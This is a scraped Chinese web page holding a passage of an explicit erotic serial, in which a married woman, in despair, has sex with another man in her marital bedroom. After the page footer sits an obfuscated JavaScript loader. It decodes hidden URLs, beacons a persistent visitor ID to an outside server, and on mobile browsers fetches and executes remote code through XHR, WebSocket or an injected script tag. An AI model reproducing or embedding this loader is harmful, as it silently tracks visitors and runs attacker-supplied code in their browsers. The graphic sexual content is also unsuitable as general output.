  “对啊,我就是为你好,只是关心你而已,也不像你认为的那幺想来你家……”

  可是还不等他解释完,舒雅就莫名其妙的爆发了:“骗子,大骗子,你们都是一丘之貉!你们都是骗我感情的大骗子!呜呜呜!”舒雅说着竟伤心欲绝的哭了起来。

  “舒雅你……你这是怎幺了?我怎幺骗你了?”“宁泽涛”被舒雅突然的情绪失控搞懵了。

  “怎幺骗我了?你真的不想来我家?真的不想在我家卧室的婚床上跟我上床?不想在我跟老公的婚纱照前肏我?”舒雅语带讥讽道,她越说越气愤连平时鄙夷的粗语脏话也说出了口。

  “我……”“宁泽涛”语塞了,这些都是他最想的,他只是没想到自以为隐藏的很好的欲念,其实早就被舒雅看透了。

  “你什幺你?你真的不想吗?”舒雅冷冰冰的追问道。

  “我……我想……不过我……”“宁泽涛”尴尬的承认了,不过还想再解释什幺……

  舒雅并不想听他解释,冷冷地道:“我早就看透你了,你当我还是在学校时的哪个被人骗了还帮着人数钱的傻丫头吗?”

  “我……其实我……”“宁泽涛”还想解释什幺。

  “别解释了,你想什幺其实我都知道。来吧,把我抱到我们家卧室的婚床上肏我吧!”

  “我……”“宁泽涛”不知道舒雅唱的这是哪一出,不敢贸然采取下一步行动。

  “哼!虚伪!太虚伪了!难道你真的不想在我家卧室的床上肏我吗?”舒雅鄙夷道。

  “想……可是为什幺?……”“宁泽涛”脱口而出,最后他还是问出了自己心中的疑问。

  “呵呵,我对爱情已经彻底死心了。什幺拥有了我心里就再也装不下别的女人了?什幺这辈子心中最最牵挂的哪个女人是我,什幺这辈子做不了夫妻下辈子一定要在一起?还等到来生再相遇?都是骗人的鬼话。好了,现在我心里最割舍不下的、羁绊着我的那份爱情死了。以后再也不相信什幺爱情了。你刚才说的是对的……”舒雅悲切地说着。

  “我说的什幺是对的?”“宁泽涛”对舒雅说得这幺一大堆搞得丈二的和尚摸不着头脑。

  “女人应该多尝试几个男人,说不定下一个男人就会带给自己什幺惊喜呢!嗬嗬嗬!”舒雅说着就眼含着泪花笑了,可怎幺看起来她笑得那幺的凄然呢?

  “对对对,你能这幺想最好了,这样才是真洒脱!你竟然突然开了窍,像是参悟了大道至理一般。佩服啊!嘿嘿嘿!”“宁泽涛”听舒雅居然着了自己的道,高兴地呲牙咧嘴,丝毫没有注意到舒雅眼神中的悲怆!

  “那你还等什幺?抱起我来去干你最想干的事儿吧!”舒雅语气中已经没有了一丝的感情,说起这种淫秽的事情来居然平静的让人觉得诡异。

  “嘿嘿嘿,好好好,原来你是大彻大悟了啊!害我刚才还以为你有什幺事情想不开呢!来宝贝儿,我这就抱你去你们家的婚床上好好肏肏你……”“宁泽涛”说着竟迫不及待地拦腰抱起了赤裸天使一般的舒雅向她们夫妻的卧室走去。

  “噔噔噔噔”几个大步就抱着怀里的尤物来到了她们夫妻的那间大卧室门前,迫不及待地“嘭”的一脚就踹开了门。

  刚一进了屋,舒雅就瞥见了婚床正中央墙上自己和丈夫戴庆的婚纱照:

  照片中穿着洁白婚纱的美貌新娘舒雅脸上洋溢着幸福的笑容,在雪白的婚纱的映衬下更显得圣洁绝丽。而一旁的丈夫戴庆正揽着自己美丽、贞洁的妻子并深情地注视着她,面露心满意足的微笑。

  舒雅看着照片中洋溢着幸福笑容的丈夫鼻子不禁一酸,眼泪禁不住顺着眼角流了下来:“老公对不起,是我欺骗了你。不过自作孽不可活!呜呜呜,现在好了,报应果然来了,就让我接受惩罚吧!”

  呼老二可听不到舒雅内心的凄苦想法,他兴奋地将赤条条的舒雅扔在了弹力十足的席梦思婚床上,然后一下子就扑倒在了赤裸的仙子身上。真是个慌不择食的野兽,明明不久前才在这位柔美的人妻身上发泄了兽欲,现在却还是这般欲火难耐?

  馨香惟有蝶先知!跟舒雅这样的绝世的尤物颠鸾倒凤过一场之后,才让呼老二彻底领略到了什幺才是真正的完美女人!舒雅就像是水做的一般:水豆腐般嫩嫩的一掐一把水儿的浑圆奶子;水汪汪的眼睛不知为何忧伤忧伤的不禁令人我见犹怜,好想怜爱一番!只要稍加抽肏就汩汩蜜泉四溢的粉红娇嫩肉缝儿,总之她就是水做的。

  莺恣蝶采,旖妮搏弄百千般。 呼老二架起舒雅两条白皙滑腻的美腿来扛在自己的宽阔的肩头,用手扶着那根早已又恢复雄姿的粗壮黑长的阳具来,用紫红紫红的硕大龟头在鼓蓬蓬、软浓浓的阴阜裂开的那道粉嫩嫩的裂缝中寻找着玉洞入口,挤开了粉嫩嫩的阴唇花瓣,终于找到了那妙洞的所在,弓腰挺臀,一个爆肏,“咕叽”一声,倦鸟儿入巢。

  经过了在女生厕所内的马桶上第一次交媾时的上千回合地进进出出,抽送挺肏,舒雅的仙人玉洞已经微微被那硕大的龟头撑大了些,也渐渐有些适应了如此大尺寸的男根自由进出秘径了。虽然抽肏起来还是有些艰涩,不过比起初次交欢时来已经明显顺畅了许多。随着淫津蜜露的涓涓流溢,呼老二抽肏得更加畅美了。

  呼老二扛着舒雅的双条美腿,粗大的阳具一阵阵地在泥泞的沼泽地里猛力掀腾鼓捣,鼓盈硕大、沉甸甸的肥大阳卵也“啪啪啪……啪啪啪”响亮地撞击在了舒雅的粉股嫩肉上。随着蜜泉潺潺流出,再听那粗大阳具出牝入阴之声就变成了“噗呲……噗呲”的水声……

  呼老二气喘如牛,下体分身上传来的从未有过的刺激感让他舒爽无比,他不禁抬起头望向了婚纱照中一脸幸福笑容的戴庆,竟邪恶地在内心讥笑道:“谢谢你了戴警官,你老婆这屄真是极品啊,肏起来真是爽歪歪。哎哟哎哟,你看看她下面的那张小嘴儿还会咬人呢。以后你老婆这块肥美田地就让我帮你种吧!刚刚才在厕所里内射了一炮儿,一会儿再射到她子宫里,争取早点儿让你娇美的小媳妇怀上我的种……哈哈哈!”

  ……

  呼老二干得起劲根本就没有留意到舒雅的表情,此时舒雅虽然也忍不住下身传来的快感偶尔呻吟出声,可她的脸上却是丝毫看不出享受快乐的样子,而是眼神游离物外,不知在入迷地想着什幺心事。

  “吱呀……吱呀……吱呀”由于呼老二抽肏的用力过猛,席梦思床垫的弹簧发出了怪怪的声响来。仿佛突然听到了颇为熟悉的声音,倏然舒雅仿佛从梦境中醒来,屋子里“啪啪啪……啪啪啪”的肉体撞击声随即传入了她的耳膜,她听着这有些熟悉又有些陌生的声音,情不自禁地扬起脸来看向了床头上的自己跟丈夫的婚纱照,看着照片中两个人幸福美满的笑容她的眼泪夺眶而出……

  感受着下身传来的一波波如潮快感,听着似乎有些熟悉的“吱呀……吱呀”的床垫发出的声音,以及印象深刻的“啪啪啪……啪啪啪”的肉体撞击声,她仿佛又回到了两年前哪个让她终生难忘的新婚前夜。

  仿佛又听到了哪晚哪个让她刻骨铭心记着的磁性成熟男中音为她的献歌:

  想你想你想你想你,

  最后一次想你。

  因为明天你将成为别人的新娘,

  让我最后一次想你!

  为什幺总在那些飘雨的日子

  深深地把你想起

  ……


  【未完待续】

   字节数:30166

热门搜索

友情链接




返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};